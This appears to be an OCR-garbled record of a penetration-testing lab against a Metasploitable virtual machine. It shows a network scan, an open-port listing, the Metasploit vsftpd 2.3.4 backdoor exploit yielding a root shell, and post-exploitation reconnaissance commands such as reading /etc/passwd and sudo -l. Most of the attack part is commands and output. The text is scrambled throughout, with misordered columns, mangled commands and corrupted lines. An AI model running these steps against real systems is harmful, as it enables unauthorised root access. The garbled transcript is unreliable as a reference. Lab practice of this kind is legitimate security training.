23:21

















Metasploit ip -192.168.1.95











IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.1.254	18:45:93:c2:7a:50	134	8040	Taicang T&W Electronics
192.168.1.65	3e:14:6a:63:76:b0	1	60	Unknown vendor
192.168.1.69	7e:4e:3b:d8:2f:a3	1	60	Unknown vendor
192.168.1.93	ac:82:47:ea:cc:bb	5	300	Intel Corporate
192.168.1.95	08:00:27:99:80:1c	1	60	PCS Systemtechnik GmbH
192.168.1.96	b2:f0:3d:b1:3d:76	1	60	Unknown vendor
192.168.1.254	18:45:93:c2:7a:59	1	60	Taicang T&W Electronics
192.168.1.67	38:8c:50:78:de:d0	1	60	LG Electronics

```
PUKI
        STATE SERVICE
                           AFK2TON
                           vsftpd 2.3.4
21/tcp
        open
               ftp
                           OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
22/tcp
              ssh
        open
                           Linux telnetd
23/tcp
              telnet
        open
25/tcp
              smtp
                           Postfix smtpd
        open
                           ISC BIND 9.4.2
53/tcp
              domain
        open
                           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
80/tcp
              http
        open
                           2 (RPC #100000)
111/tcp
              rpcbind
        open
              netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
139/tcp
        open
              netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp
        open
512/tcp
                           netkit-rsh rexecd
        open
              exec
513/tcp
        open
               login
514/tcp
               tcpwrapped
        open
              java-rmi
1099/tcp open
                           GNU Classpath grmiregistry
1524/tcp open
              bindshell
                           Metasploitable root shell
                           2-4 (RPC #100003)
2049/tcp open
              nfs
2121/tcp open
               ftp
                           ProfTPD 1.3.1
3306/tcp open
              mysql
                           MySQL 5.0.51a-3ubuntu5
              postgresql
5432/tcp open
                           PostgreSQL DB 8.3.0 - 8.3.7
                           VNC (protocol 3.3)
5900/tcp open
              vnc
6000/tcp open
                           (access denied)
              X11
6667/tcp open
              irc
                           UnrealIRCd
                           Apache Jserv (Protocol v1.3)
8009/tcp open
              ajp13
                           Apache Tomcat/Coyote JSP engine 1.1
8180/tcp open
              http
```

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
                                         ) > set RHOST 192.168.1.95
msf6 exploit(
RHOST => 192.168.1.95
msf6 exploit(
                                        ) > set RPORT 21
RPORT => 21
msf6 exploit(un
                                         ) > run
[*] 192.168.1.95:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.95:21 - USER: 331 Please specify the password.
[+] 192.168.1.95:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.95:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.94:36093 -> 192.168.1.95:6200) at
2025-05-09 13:24:46 -0500
```

```
whoami
root
uid=0(root) gid=0(root)
ıname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 G
NU/Linux
ifconfig && cat/etc/passwd && ls -la /home
         Link encap:Ethernet HWaddr 08:00:27:99:80:1c
eth0
         inet addr:192.168.1.95 Bcast:192.168.1.255 Mask:255.255.255.0
         inet6 addr: fe80::a00:27ff:fe99:801c/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:2424 errors:0 dropped:0 overruns:0 frame:0
         TX packets:1831 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:178822 (174.6 KB) TX bytes:170444 (166.4 KB)
         Base address:0xd020 Memory:f0200000-f0220000
         Link encap:Local Loopback
         inet addr:127.0.0.1 Mask:255.0.0.0
         inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:16436 Metric:1
         RX packets:234 errors:0 dropped:0 overruns:0 frame:0
         TX packets:234 errors:0 dropped:0 overruns:0 carrier:0
```

```
IN Packers.234 effors.a afobbeara ascitationa cattrefra
collisions:0 txqueuelen:0
RX bytes:89441 (87.3 KB) TX bytes:89441 (87.3 KB)
```

sh: line 9: cat/etc/passwd: No such file or directory

(ALL) ALL

User root may run the following commands on this host:

sudo -l

```
_$ ssh hacker@192.168.1.95
Inable to negotiate with 192.168.1.95 port 22: no matching host key type found.
heir offer: ssh-rsa,ssh-dss
—(nuray⊕ kali)-[~]
```